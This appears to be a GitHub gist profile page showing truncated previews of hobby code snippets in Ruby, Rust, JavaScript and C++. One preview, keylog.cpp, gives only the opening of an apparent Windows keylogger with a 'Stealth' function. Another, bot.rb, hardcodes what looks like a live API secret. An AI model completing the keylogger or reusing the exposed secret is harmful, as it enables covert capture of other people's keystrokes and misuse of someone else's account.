Skip to content

Instantly share code, notes, and snippets.

View 5nyper's full-sized avatar
☪️
Focusing

Snyper 5nyper

☪️
Focusing
View GitHub Profile
function tweets() {
T.get('search/tweets', {
q: input,
since: '2013-11-11',
count: 3
}, function(err, data, response) {
if (data) {
sendMain('Twitter: ' + data.statuses[0].text + " " + data.statuses[0].created_at);
} else if (!(data && data.statuses && data.statuses[0] && data.statuses[0].text)) {
return sendMain("No such luck bruh");
require 'open-uri'
require 'open_uri_redirections'
puts "Enter URL to parse HTML: "
url = gets.chomp
puts "Enter tag to parse from: "
tag = gets.chomp
response = open(url,:allow_redirections => :safe).read
title1 = response.index(tag)
title2 = response.index(tag.insert(1,'/')) -1
result = response[(title1 + tag.length - 1)..title2]
@5nyper
5nyper / bot.rb
Last active August 29, 2015 14:11
require 'rubygems'
require 'bing_translator'
lang = "";
@str = "";
puts "Billy.rb v.0.0.1 Connected!"
def trans()
translator = BingTranslator.new('TurboFanTrans', 'Gkqa2Ru37DeHAfR4AdH/sj94J5Ge1S8Ad7Spp89MMIs=')
transl = translator.translate @str, :to => 'fr'
puts transl;
end
@5nyper
5nyper / agenda.rs
Last active August 29, 2015 14:11
The Tragic death, of str :(
extern crate serialize;
use std::io;
fn main() {
use serialize::{Decodable, Encodable, json};
use serialize::json::PrettyEncoder;
println!("*******/// Agenda \\\\\\*******(v.0.0.1)");
println!("Developed by Karim Ellaisy, Written in Rust\n\n");
println!("Enter Class name first, then enter stuff for it.");
let mut stdin = io::stdin();
@5nyper
5nyper / main.rs
Last active August 29, 2015 14:11
Struct properties as variables
Im trying to get the struct to be renamed to what the user inputs, Notice I declared the `per` variables
input: `Class1 Java`
input: 'done'
Expected Output: '{
"Java": " ",
"per2": " ",
}
Actual Output: '{
"per1": " ",
@5nyper
5nyper / main.rs
Created January 12, 2015 16:30
Modded Example.rs
extern crate num;
use num::{BigUint, Zero, One};
use std::mem::replace;
fn fib(n: usize) -> usize {
let mut f0: BigUint = Zero::zero();
let mut f1: BigUint = One::one();
for _ in (0..n) {
let f2 = f0 + &f1;
// This is a low cost way of swapping f0 with f1 and f1 with f2.
@5nyper
5nyper / main.rs
Created January 12, 2015 18:44
Overflow
/// So I have this code snippet
extern crate num;
use num::{BigUint, Zero, One};
use std::mem::replace;
fn main() {
let mut f0: BigUint = 100;
let mut f1: BigUint = 100;
for _ in (0..100) {
if f0 <= 1 {
@5nyper
5nyper / main.rs
Created February 1, 2015 02:11
conversion
fn main() {
let mut i = 20is;
loop {
if i % 19 == 0 && i % 18 == 0 && i % 17 == 0 && i % 16 == 0 && i % 15 == 0 && i % 14 == 0
&& i % 13 == 0 && i % 12 == 0 && i % 11 == 0 {
print!("result: {}", i);
break;
}
i += 20;
}
@5nyper
5nyper / keylog.cpp
Last active August 29, 2015 14:14
convert
#include <iostream>
using namespace std;
#include <windows.h>
#include <winuser.h>
int Save (int key_stroke, char *file);
void Stealth();
int main()
{
extern crate iron;
use iron::prelude::*;
use iron::status;
use std::rand::{thread_rng, Rng};
fn main() {
Iron::new(|&: _: &mut Request| {
let mut rng = thread_rng();
let mut srt = "".to_string();